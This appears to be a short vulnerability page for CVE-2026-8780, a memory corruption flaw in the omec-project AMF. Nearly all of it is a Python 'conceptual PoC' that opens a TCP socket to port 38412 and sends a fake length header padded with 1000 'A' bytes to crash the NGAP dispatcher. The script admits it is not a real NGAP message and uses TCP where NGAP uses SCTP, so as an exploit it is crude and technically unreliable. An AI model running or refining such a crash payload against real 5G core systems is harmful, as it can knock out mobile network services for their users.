CVE-2026-8780 omec-project amf内存损坏漏洞

import socket import struct # Conceptual PoC for CVE-2026-8780 # This script attempts to trigger memory corruption by sending malformed data # to the NGAP dispatcher service. def send_exploit(target_ip, target_port): try: # Establish a connection to the target service # NGAP typically runs over SCTP, but for PoC demonstration we assume TCP or raw socket print(f"[+] Connecting to {target_ip}:{target_port}") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Construct a malformed payload designed to trigger the dispatcher issue # In a real scenario, this would be a specific NGAP message structure malformed_header = struct.pack('!H', 0x0001) # Fake length malicious_payload = b"\x41" * 1000 + b"\x00" * 50 # Padding to cause overflow/corruption payload = malformed_header + malicious_payload print("[+] Sending malicious payload...") s.send(payload) # Receive response (or lack thereof indicating a crash) response = s.recv(1024) print(f"[+] Received response: {response}") except Exception as e: print(f"[-] Error occurred: {e}") finally: s.close() if __name__ == "__main__": # Replace with actual target IP and Port TARGET_IP = "127.0.0.1" TARGET_PORT = 38412 # Common NGAP port (SCTP), used here for TCP concept send_exploit(TARGET_IP, TARGET_PORT)